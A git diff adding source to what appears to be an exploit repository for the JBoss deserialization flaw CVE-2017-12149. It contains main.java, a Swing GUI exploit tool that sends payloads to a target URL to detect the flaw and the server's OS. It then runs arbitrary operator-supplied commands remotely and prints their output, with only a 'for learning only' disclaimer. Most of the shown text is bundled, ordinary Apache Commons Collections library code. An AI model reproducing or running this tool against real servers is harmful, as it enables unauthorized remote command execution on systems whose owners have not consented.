+ // TODO Auto-generated method stub
+
+ }
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/main.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/main.java"
new file mode 100644
index 0000000..9fb7115
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/main.java"
@@ -0,0 +1,221 @@
+package com.jboss.main;
+
+import java.awt.EventQueue;
+
+import javax.swing.JFrame;
+import javax.swing.JOptionPane;
+
+import java.awt.GridLayout;
+import javax.swing.JButton;
+import javax.swing.JPanel;
+import javax.swing.JTextField;
+import java.awt.event.ActionListener;
+import java.io.IOException;
+import java.lang.reflect.InvocationTargetException;
+import java.awt.event.ActionEvent;
+import javax.swing.JLabel;
+import java.awt.Font;
+import javax.swing.SwingConstants;
+import javax.swing.JTextArea;
+import javax.swing.JComboBox;
+import javax.swing.JTextPane;
+import javax.swing.JScrollPane;
+
+public class main {
+
+
+ private JFrame frmCveJboosAs;
+ private JTextField server;
+ private JTextField cmd;
+ Payload payload = new Payload();
+ String result = null;
+ byte[] Payload = null;
+ String os = "";
+
+ /**
+ * Launch the application.
+ */
+ public static void main(String[] args) {
+ EventQueue.invokeLater(new Runnable() {
+ public void run() {
+ try {
+ main window = new main();
+ window.frmCveJboosAs.setVisible(true);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ });
+ }
+
+ /**
+ * Create the application.
+ * @wbp.parser.entryPoint
+ */
+ public main() {
+ initialize();
+ }
+
+ /**
+ * Initialize the contents of the frame.
+ */
+ private void initialize() {
+
+ frmCveJboosAs = new JFrame();
+ frmCveJboosAs.setTitle("CVE-2017-12149 Jboss反序列化 V1.0");
+ frmCveJboosAs.setBounds(100, 100, 588, 528);
+ frmCveJboosAs.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
+ frmCveJboosAs.getContentPane().setLayout(null);
+
+ JScrollPane scrollPane = new JScrollPane();
+ scrollPane.setBounds(10, 93, 546, 364);
+ frmCveJboosAs.getContentPane().add(scrollPane);
+
+ final JLabel info = new JLabel("仅供学习交流使用,切勿用于非法用途,否则后果自负! by:云絮");
+ info.setBounds(20, 463, 505, 18);
+ frmCveJboosAs.getContentPane().add(info);
+
+ final JTextArea textArea = new JTextArea();
+ textArea.setLineWrap(true);
+ scrollPane.setViewportView(textArea);
+
+ JButton btnNewButton = new JButton("2.执行");
+ btnNewButton.addActionListener(new ActionListener() {
+ public void actionPerformed(ActionEvent arg0) {
+
+ String jboss_ip = server.getText();
+ String command = cmd.getText();
+ if ("".equals(os)) {
+ info.setText("请先检测是否存在漏洞");
+ return;
+ }
+ try {
+ Payload = payload.PayloadGeneration(command,os);
+ }catch (Exception e) {
+ info.setText("执行出现异常:"+e.toString());
+ }
+ try {
+ result = doPost.DoPost(jboss_ip, Payload);
+ } catch (Exception e) {
+ // TODO Auto-generated catch block
+ info.setText("执行出现异常:"+e.toString());
+ e.printStackTrace();
+ }
+ textArea.setText("");
+ textArea.setText(result.trim().substring(9).trim());
+ }
+ });
+ btnNewButton.setBounds(454, 50, 102, 30);
+
+ frmCveJboosAs.getContentPane().add(btnNewButton);
+ JButton btnNewButton_1 = new JButton("1.检测");
+ btnNewButton_1.addActionListener(new ActionListener() {
+ public void actionPerformed(ActionEvent arg0) {
+ try {
+ String jboss_ip = server.getText();
+ String command = cmd.getText();
+
+ Payload = payload.upload("windows");
+ try {
+ result = doPost.DoPost(jboss_ip, Payload);
+ } catch (Exception e) {
+ // TODO Auto-generated catch block
+ info.setText("执行出现异常:"+e.toString());
+ e.printStackTrace();
+ }
+ Payload = payload.upload("Linux");
+ try {
+ result = doPost.DoPost(jboss_ip, Payload);
+ } catch (Exception e) {
+ // TODO Auto-generated catch block
+ info.setText("执行出现异常:"+e.toString());
+ e.printStackTrace();
+ }
+
+ Payload = payload.PayloadGeneration(command,"windows");
+ result=doPost.DoPost(jboss_ip, Payload);
+ System.out.println(result);
+ if("".equals(result)) {
+ Payload = payload.PayloadGeneration(command,"linux");
+ result=doPost.DoPost(jboss_ip, Payload);
+ }
+
+ if("".equals(result.trim())){
+ info.setText("漏洞不存在");
+ return;
+ }
+
+//
+ try {
+ String res_os=result.trim().substring(0, 9);
+
+ if (res_os.equals("[L291919]")){
+ os="linux";
+ info.setText("存在漏洞,系统是:linux");
+ }else if(res_os.equals("[W291013]")){
+ os="windows";
+ info.setText("存在漏洞,系统是:windows");
+ }
+ }catch(Exception e){
+ textArea.setText(result);
+ info.setText("执行出现异常:"+e.toString());
+ }
+ } catch (ClassNotFoundException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ } catch (NoSuchMethodException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ } catch (InstantiationException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ } catch (IllegalAccessException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ } catch (IllegalArgumentException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ } catch (InvocationTargetException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ } catch (NoSuchFieldException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ } catch (IOException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ } catch (Exception e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ }
+ });
+ btnNewButton_1.setBounds(454, 15, 102, 27);
+ frmCveJboosAs.getContentPane().add(btnNewButton_1);
+
+ server = new JTextField();
+ server.setText("http://127.0.0.1:8080");
+ server.setBounds(42, 13, 396, 30);
+ frmCveJboosAs.getContentPane().add(server);
+ server.setColumns(10);
+
+ cmd = new JTextField();
+ cmd.setText("whoami");
+ cmd.setColumns(10);
+ cmd.setBounds(42, 49, 396, 30);
+ frmCveJboosAs.getContentPane().add(cmd);
+
+ JLabel lblurl = new JLabel("目标:");
+ lblurl.setBounds(10, 18, 102, 18);
+ frmCveJboosAs.getContentPane().add(lblurl);
+
+ JLabel lblip = new JLabel("cmd:");
+ lblip.setBounds(10, 55, 102, 18);
+ frmCveJboosAs.getContentPane().add(lblip);
+
+
+
+
+
+ }
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ArrayStack.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ArrayStack.java"
new file mode 100644
index 0000000..a2e320c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/ArrayStack.java"
@@ -0,0 +1,194 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.ArrayList;
+import java.util.EmptyStackException;
+
+/**
+ * An implementation of the {@link java.util.Stack} API that is based on an
+ * ArrayList
instead of a Vector
, so it is not
+ * synchronized to protect against multi-threaded access. The implementation
+ * is therefore operates faster in environments where you do not need to
+ * worry about multiple thread contention.
+ *
+ * The removal order of an ArrayStack
is based on insertion
+ * order: The most recently added element is removed first. The iteration
+ * order is not the same as the removal order. The iterator returns
+ * elements from the bottom up, whereas the {@link #remove()} method removes
+ * them from the top down.
+ *
+ * Unlike Stack
, ArrayStack
accepts null entries.
+ *
+ * @see java.util.Stack
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.17 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Craig R. McClanahan
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public class ArrayStack extends ArrayList implements Buffer {
+
+ /** Ensure serialization compatibility */
+ private static final long serialVersionUID = 2130079159931574599L;
+
+ /**
+ * Constructs a new empty ArrayStack
. The initial size
+ * is controlled by ArrayList
and is currently 10.
+ */
+ public ArrayStack() {
+ super();
+ }
+
+ /**
+ * Constructs a new empty ArrayStack
with an initial size.
+ *
+ * @param initialSize the initial size to use
+ * @throws IllegalArgumentException if the specified initial size
+ * is negative
+ */
+ public ArrayStack(int initialSize) {
+ super(initialSize);
+ }
+
+ /**
+ * Return true
if this stack is currently empty.
+ *
+ * This method exists for compatibility with java.util.Stack
.
+ * New users of this class should use isEmpty
instead.
+ *
+ * @return true if the stack is currently empty
+ */
+ public boolean empty() {
+ return isEmpty();
+ }
+
+ /**
+ * Returns the top item off of this stack without removing it.
+ *
+ * @return the top item on the stack
+ * @throws EmptyStackException if the stack is empty
+ */
+ public Object peek() throws EmptyStackException {
+ int n = size();
+ if (n <= 0) {
+ throw new EmptyStackException();
+ } else {
+ return get(n - 1);
+ }
+ }
+
+ /**
+ * Returns the n'th item down (zero-relative) from the top of this
+ * stack without removing it.
+ *
+ * @param n the number of items down to go
+ * @return the n'th item on the stack, zero relative
+ * @throws EmptyStackException if there are not enough items on the
+ * stack to satisfy this request
+ */
+ public Object peek(int n) throws EmptyStackException {
+ int m = (size() - n) - 1;
+ if (m < 0) {
+ throw new EmptyStackException();
+ } else {
+ return get(m);
+ }
+ }
+
+ /**
+ * Pops the top item off of this stack and return it.
+ *
+ * @return the top item on the stack
+ * @throws EmptyStackException if the stack is empty
+ */
+ public Object pop() throws EmptyStackException {
+ int n = size();
+ if (n <= 0) {
+ throw new EmptyStackException();
+ } else {
+ return remove(n - 1);
+ }
+ }
+
+ /**
+ * Pushes a new item onto the top of this stack. The pushed item is also
+ * returned. This is equivalent to calling add
.
+ *
+ * @param item the item to be added
+ * @return the item just pushed
+ */
+ public Object push(Object item) {
+ add(item);
+ return item;
+ }
+
+ /**
+ * Returns the one-based position of the distance from the top that the
+ * specified object exists on this stack, where the top-most element is
+ * considered to be at distance 1
. If the object is not
+ * present on the stack, return -1
instead. The
+ * equals()
method is used to compare to the items
+ * in this stack.
+ *
+ * @param object the object to be searched for
+ * @return the 1-based depth into the stack of the object, or -1 if not found
+ */
+ public int search(Object object) {
+ int i = size() - 1; // Current index
+ int n = 1; // Current distance
+ while (i >= 0) {
+ Object current = get(i);
+ if ((object == null && current == null) ||
+ (object != null && object.equals(current))) {
+ return n;
+ }
+ i--;
+ n++;
+ }
+ return -1;
+ }
+
+ /**
+ * Returns the element on the top of the stack.
+ *
+ * @return the element on the top of the stack
+ * @throws BufferUnderflowException if the stack is empty
+ */
+ public Object get() {
+ int size = size();
+ if (size == 0) {
+ throw new BufferUnderflowException();
+ }
+ return get(size - 1);
+ }
+
+ /**
+ * Removes the element on the top of the stack.
+ *
+ * @return the removed element
+ * @throws BufferUnderflowException if the stack is empty
+ */
+ public Object remove() {
+ int size = size();
+ if (size == 0) {
+ throw new BufferUnderflowException();
+ }
+ return remove(size - 1);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Bag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Bag.java"
new file mode 100644
index 0000000..0a492bd
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Bag.java"
@@ -0,0 +1,221 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+
+/**
+ * Defines a collection that counts the number of times an object appears in
+ * the collection.
+ *
+ * Suppose you have a Bag that contains {a, a, b, c}
.
+ * Calling {@link #getCount(Object)} on a
would return 2, while
+ * calling {@link #uniqueSet()} would return {a, b, c}
.
+ *
+ * NOTE: This interface violates the {@link Collection} contract.
+ * The behavior specified in many of these methods is not the same
+ * as the behavior specified by Collection
.
+ * The noncompliant methods are clearly marked with "(Violation)".
+ * Exercise caution when using a bag as a Collection
.
+ *
+ * This violation resulted from the original specification of this interface. + * In an ideal world, the interface would be changed to fix the problems, however + * it has been decided to maintain backwards compatibility instead. + * + * @since Commons Collections 2.0 + * @version $Revision: 1.18 $ $Date: 2004/05/03 15:12:20 $ + * + * @author Chuck Burdick + * @author Stephen Colebourne + */ +public interface Bag extends Collection { + + /** + * Returns the number of occurrences (cardinality) of the given + * object currently in the bag. If the object does not exist in the + * bag, return 0. + * + * @param object the object to search for + * @return the number of occurrences of the object, zero if not found + */ + int getCount(Object object); + + /** + * (Violation) + * Adds one copy the specified object to the Bag. + *
+ * If the object is already in the {@link #uniqueSet()} then increment its + * count as reported by {@link #getCount(Object)}. Otherwise add it to the + * {@link #uniqueSet()} and report its count as 1. + *
+ * Since this method always increases the size of the bag,
+ * according to the {@link Collection#add(Object)} contract, it
+ * should always return true
. Since it sometimes returns
+ * false
, this method violates the contract.
+ *
+ * @param object the object to add
+ * @return true
if the object was not already in the uniqueSet
+ */
+ boolean add(Object object);
+
+ /**
+ * Adds nCopies
copies of the specified object to the Bag.
+ *
+ * If the object is already in the {@link #uniqueSet()} then increment its
+ * count as reported by {@link #getCount(Object)}. Otherwise add it to the
+ * {@link #uniqueSet()} and report its count as nCopies
.
+ *
+ * @param object the object to add
+ * @param nCopies the number of copies to add
+ * @return true
if the object was not already in the uniqueSet
+ */
+ boolean add(Object object, int nCopies);
+
+ /**
+ * (Violation)
+ * Removes all occurrences of the given object from the bag.
+ *
+ * This will also remove the object from the {@link #uniqueSet()}. + *
+ * According to the {@link Collection#remove(Object)} method,
+ * this method should only remove the first occurrence of the
+ * given object, not all occurrences.
+ *
+ * @return true
if this call changed the collection
+ */
+ boolean remove(Object object);
+
+ /**
+ * Removes nCopies
copies of the specified object from the Bag.
+ *
+ * If the number of copies to remove is greater than the actual number of
+ * copies in the Bag, no error is thrown.
+ *
+ * @param object the object to remove
+ * @param nCopies the number of copies to remove
+ * @return true
if this call changed the collection
+ */
+ boolean remove(Object object, int nCopies);
+
+ /**
+ * Returns a {@link Set} of unique elements in the Bag.
+ *
+ * Uniqueness constraints are the same as those in {@link java.util.Set}.
+ *
+ * @return the Set of unique Bag elements
+ */
+ Set uniqueSet();
+
+ /**
+ * Returns the total number of items in the bag across all types.
+ *
+ * @return the total size of the Bag
+ */
+ int size();
+
+ /**
+ * (Violation)
+ * Returns true
if the bag contains all elements in
+ * the given collection, respecting cardinality. That is, if the
+ * given collection coll
contains n
copies
+ * of a given object, calling {@link #getCount(Object)} on that object must
+ * be >= n
for all n
in coll
.
+ *
+ * The {@link Collection#containsAll(Collection)} method specifies
+ * that cardinality should not be respected; this method should
+ * return true if the bag contains at least one of every object contained
+ * in the given collection.
+ *
+ * @param coll the collection to check against
+ * @return true
if the Bag contains all the collection
+ */
+ boolean containsAll(Collection coll);
+
+ /**
+ * (Violation)
+ * Remove all elements represented in the given collection,
+ * respecting cardinality. That is, if the given collection
+ * coll
contains n
copies of a given object,
+ * the bag will have n
fewer copies, assuming the bag
+ * had at least n
copies to begin with.
+ *
+ *
The {@link Collection#removeAll(Collection)} method specifies
+ * that cardinality should not be respected; this method should
+ * remove all occurrences of every object contained in the
+ * given collection.
+ *
+ * @param coll the collection to remove
+ * @return true
if this call changed the collection
+ */
+ boolean removeAll(Collection coll);
+
+ /**
+ * (Violation)
+ * Remove any members of the bag that are not in the given
+ * collection, respecting cardinality. That is, if the given
+ * collection coll
contains n
copies of a
+ * given object and the bag has m > n
copies, then
+ * delete m - n
copies from the bag. In addition, if
+ * e
is an object in the bag but
+ * !coll.contains(e)
, then remove e
and any
+ * of its copies.
+ *
+ *
The {@link Collection#retainAll(Collection)} method specifies
+ * that cardinality should not be respected; this method should
+ * keep all occurrences of every object contained in the
+ * given collection.
+ *
+ * @param coll the collection to retain
+ * @return true
if this call changed the collection
+ */
+ boolean retainAll(Collection coll);
+
+ /**
+ * Returns an {@link Iterator} over the entire set of members,
+ * including copies due to cardinality. This iterator is fail-fast
+ * and will not tolerate concurrent modifications.
+ *
+ * @return iterator over all elements in the Bag
+ */
+ Iterator iterator();
+
+ // The following is not part of the formal Bag interface, however where possible
+ // Bag implementations should follow these comments.
+// /**
+// * Compares this Bag to another.
+// * This Bag equals another Bag if it contains the same number of occurrences of
+// * the same elements.
+// * This equals definition is compatible with the Set interface.
+// *
+// * @param obj the Bag to compare to
+// * @return true if equal
+// */
+// boolean equals(Object obj);
+//
+// /**
+// * Gets a hash code for the Bag compatible with the definition of equals.
+// * The hash code is defined as the sum total of a hash code for each element.
+// * The per element hash code is defined as
+// * (e==null ? 0 : e.hashCode()) ^ noOccurances)
.
+// * This hash code definition is compatible with the Set interface.
+// *
+// * @return the hash code of the Bag
+// */
+// int hashCode();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BagUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BagUtils.java"
new file mode 100644
index 0000000..c42ab2d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BagUtils.java"
@@ -0,0 +1,243 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import org.apache.commons.collections.bag.HashBag;
+import org.apache.commons.collections.bag.PredicatedBag;
+import org.apache.commons.collections.bag.PredicatedSortedBag;
+import org.apache.commons.collections.bag.SynchronizedBag;
+import org.apache.commons.collections.bag.SynchronizedSortedBag;
+import org.apache.commons.collections.bag.TransformedBag;
+import org.apache.commons.collections.bag.TransformedSortedBag;
+import org.apache.commons.collections.bag.TreeBag;
+import org.apache.commons.collections.bag.TypedBag;
+import org.apache.commons.collections.bag.TypedSortedBag;
+import org.apache.commons.collections.bag.UnmodifiableBag;
+import org.apache.commons.collections.bag.UnmodifiableSortedBag;
+
+/**
+ * Provides utility methods and decorators for
+ * {@link Bag} and {@link SortedBag} instances.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.20 $ $Date: 2004/04/01 20:12:00 $
+ *
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ * @author Andrew Freeman
+ * @author Matthew Hawthorne
+ */
+public class BagUtils {
+
+ /**
+ * An empty unmodifiable bag.
+ */
+ public static final Bag EMPTY_BAG = UnmodifiableBag.decorate(new HashBag());
+
+ /**
+ * An empty unmodifiable sorted bag.
+ */
+ public static final Bag EMPTY_SORTED_BAG = UnmodifiableSortedBag.decorate(new TreeBag());
+
+ /**
+ * Instantiation of BagUtils is not intended or required.
+ * However, some tools require an instance to operate.
+ */
+ public BagUtils() {
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a synchronized (thread-safe) bag backed by the given bag.
+ * In order to guarantee serial access, it is critical that all
+ * access to the backing bag is accomplished through the returned bag.
+ *
+ * It is imperative that the user manually synchronize on the returned + * bag when iterating over it: + * + *
+ * Bag bag = BagUtils.synchronizedBag(new HashBag()); + * ... + * synchronized(bag) { + * Iterator i = bag.iterator(); // Must be in synchronized block + * while (i.hasNext()) + * foo(i.next()); + * } + * } + *+ * + * Failure to follow this advice may result in non-deterministic + * behavior. + * + * @param bag the bag to synchronize, must not be null + * @return a synchronized bag backed by that bag + * @throws IllegalArgumentException if the Bag is null + */ + public static Bag synchronizedBag(Bag bag) { + return SynchronizedBag.decorate(bag); + } + + /** + * Returns an unmodifiable view of the given bag. Any modification + * attempts to the returned bag will raise an + * {@link UnsupportedOperationException}. + * + * @param bag the bag whose unmodifiable view is to be returned, must not be null + * @return an unmodifiable view of that bag + * @throws IllegalArgumentException if the Bag is null + */ + public static Bag unmodifiableBag(Bag bag) { + return UnmodifiableBag.decorate(bag); + } + + /** + * Returns a predicated (validating) bag backed by the given bag. + *
+ * Only objects that pass the test in the given predicate can be added to the bag. + * Trying to add an invalid object results in an IllegalArgumentException. + * It is important not to use the original bag after invoking this method, + * as it is a backdoor for adding invalid objects. + * + * @param bag the bag to predicate, must not be null + * @param predicate the predicate for the bag, must not be null + * @return a predicated bag backed by the given bag + * @throws IllegalArgumentException if the Bag or Predicate is null + */ + public static Bag predicatedBag(Bag bag, Predicate predicate) { + return PredicatedBag.decorate(bag, predicate); + } + + /** + * Returns a typed bag backed by the given bag. + *
+ * Only objects of the specified type can be added to the bag. + * + * @param bag the bag to limit to a specific type, must not be null + * @param type the type of objects which may be added to the bag + * @return a typed bag backed by the specified bag + */ + public static Bag typedBag(Bag bag, Class type) { + return TypedBag.decorate(bag, type); + } + + /** + * Returns a transformed bag backed by the given bag. + *
+ * Each object is passed through the transformer as it is added to the + * Bag. It is important not to use the original bag after invoking this + * method, as it is a backdoor for adding untransformed objects. + * + * @param bag the bag to predicate, must not be null + * @param transformer the transformer for the bag, must not be null + * @return a transformed bag backed by the given bag + * @throws IllegalArgumentException if the Bag or Transformer is null + */ + public static Bag transformedBag(Bag bag, Transformer transformer) { + return TransformedBag.decorate(bag, transformer); + } + + //----------------------------------------------------------------------- + /** + * Returns a synchronized (thread-safe) sorted bag backed by the given + * sorted bag. + * In order to guarantee serial access, it is critical that all + * access to the backing bag is accomplished through the returned bag. + *
+ * It is imperative that the user manually synchronize on the returned + * bag when iterating over it: + * + *
+ * SortedBag bag = BagUtils.synchronizedSortedBag(new TreeBag()); + * ... + * synchronized(bag) { + * Iterator i = bag.iterator(); // Must be in synchronized block + * while (i.hasNext()) + * foo(i.next()); + * } + * } + *+ * + * Failure to follow this advice may result in non-deterministic + * behavior. + * + * @param bag the bag to synchronize, must not be null + * @return a synchronized bag backed by that bag + * @throws IllegalArgumentException if the SortedBag is null + */ + public static SortedBag synchronizedSortedBag(SortedBag bag) { + return SynchronizedSortedBag.decorate(bag); + } + + /** + * Returns an unmodifiable view of the given sorted bag. Any modification + * attempts to the returned bag will raise an + * {@link UnsupportedOperationException}. + * + * @param bag the bag whose unmodifiable view is to be returned, must not be null + * @return an unmodifiable view of that bag + * @throws IllegalArgumentException if the SortedBag is null + */ + public static SortedBag unmodifiableSortedBag(SortedBag bag) { + return UnmodifiableSortedBag.decorate(bag); + } + + /** + * Returns a predicated (validating) sorted bag backed by the given sorted bag. + *
+ * Only objects that pass the test in the given predicate can be added to the bag. + * Trying to add an invalid object results in an IllegalArgumentException. + * It is important not to use the original bag after invoking this method, + * as it is a backdoor for adding invalid objects. + * + * @param bag the sorted bag to predicate, must not be null + * @param predicate the predicate for the bag, must not be null + * @return a predicated bag backed by the given bag + * @throws IllegalArgumentException if the SortedBag or Predicate is null + */ + public static SortedBag predicatedSortedBag(SortedBag bag, Predicate predicate) { + return PredicatedSortedBag.decorate(bag, predicate); + } + + /** + * Returns a typed sorted bag backed by the given bag. + *
+ * Only objects of the specified type can be added to the bag. + * + * @param bag the bag to limit to a specific type, must not be null + * @param type the type of objects which may be added to the bag + * @return a typed bag backed by the specified bag + */ + public static SortedBag typedSortedBag(SortedBag bag, Class type) { + return TypedSortedBag.decorate(bag, type); + } + + /** + * Returns a transformed sorted bag backed by the given bag. + *
+ * Each object is passed through the transformer as it is added to the + * Bag. It is important not to use the original bag after invoking this + * method, as it is a backdoor for adding untransformed objects. + * + * @param bag the bag to predicate, must not be null + * @param transformer the transformer for the bag, must not be null + * @return a transformed bag backed by the given bag + * @throws IllegalArgumentException if the Bag or Transformer is null + */ + public static SortedBag transformedSortedBag(SortedBag bag, Transformer transformer) { + return TransformedSortedBag.decorate(bag, transformer); + } + +} diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BeanMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BeanMap.java" new file mode 100644 index 0000000..a978070 --- /dev/null +++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/BeanMap.java" @@ -0,0 +1,799 @@ +/* + * Copyright 2001-2004 The Apache Software Foundation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.commons.collections; + +import java.beans.BeanInfo; +import java.beans.IntrospectionException; +import java.beans.Introspector; +import java.beans.PropertyDescriptor; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.AbstractMap; +import java.util.AbstractSet; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Set; + +import org.apache.commons.collections.list.UnmodifiableList; +import org.apache.commons.collections.keyvalue.AbstractMapEntry; +import org.apache.commons.collections.set.UnmodifiableSet; + +/** + * An implementation of Map for JavaBeans which uses introspection to + * get and put properties in the bean. + *
+ * If an exception occurs during attempts to get or set a property then the
+ * property is considered non existent in the Map
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.29 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author James Strachan
+ * @author Stephen Colebourne
+ */
+public class BeanMap extends AbstractMap implements Cloneable {
+
+ private transient Object bean;
+
+ private transient HashMap readMethods = new HashMap();
+ private transient HashMap writeMethods = new HashMap();
+ private transient HashMap types = new HashMap();
+
+ /**
+ * An empty array. Used to invoke accessors via reflection.
+ */
+ public static final Object[] NULL_ARGUMENTS = {};
+
+ /**
+ * Maps primitive Class types to transformers. The transformer
+ * transform strings into the appropriate primitive wrapper.
+ */
+ public static HashMap defaultTransformers = new HashMap();
+
+ static {
+ defaultTransformers.put(
+ Boolean.TYPE,
+ new Transformer() {
+ public Object transform( Object input ) {
+ return Boolean.valueOf( input.toString() );
+ }
+ }
+ );
+ defaultTransformers.put(
+ Character.TYPE,
+ new Transformer() {
+ public Object transform( Object input ) {
+ return new Character( input.toString().charAt( 0 ) );
+ }
+ }
+ );
+ defaultTransformers.put(
+ Byte.TYPE,
+ new Transformer() {
+ public Object transform( Object input ) {
+ return Byte.valueOf( input.toString() );
+ }
+ }
+ );
+ defaultTransformers.put(
+ Short.TYPE,
+ new Transformer() {
+ public Object transform( Object input ) {
+ return Short.valueOf( input.toString() );
+ }
+ }
+ );
+ defaultTransformers.put(
+ Integer.TYPE,
+ new Transformer() {
+ public Object transform( Object input ) {
+ return Integer.valueOf( input.toString() );
+ }
+ }
+ );
+ defaultTransformers.put(
+ Long.TYPE,
+ new Transformer() {
+ public Object transform( Object input ) {
+ return Long.valueOf( input.toString() );
+ }
+ }
+ );
+ defaultTransformers.put(
+ Float.TYPE,
+ new Transformer() {
+ public Object transform( Object input ) {
+ return Float.valueOf( input.toString() );
+ }
+ }
+ );
+ defaultTransformers.put(
+ Double.TYPE,
+ new Transformer() {
+ public Object transform( Object input ) {
+ return Double.valueOf( input.toString() );
+ }
+ }
+ );
+ }
+
+
+ // Constructors
+ //-------------------------------------------------------------------------
+
+ /**
+ * Constructs a new empty BeanMap
.
+ */
+ public BeanMap() {
+ }
+
+ /**
+ * Constructs a new BeanMap
that operates on the
+ * specified bean. If the given bean is null
, then
+ * this map will be empty.
+ *
+ * @param bean the bean for this map to operate on
+ */
+ public BeanMap(Object bean) {
+ this.bean = bean;
+ initialise();
+ }
+
+ // Map interface
+ //-------------------------------------------------------------------------
+
+ public String toString() {
+ return "BeanMap<" + String.valueOf(bean) + ">";
+ }
+
+ /**
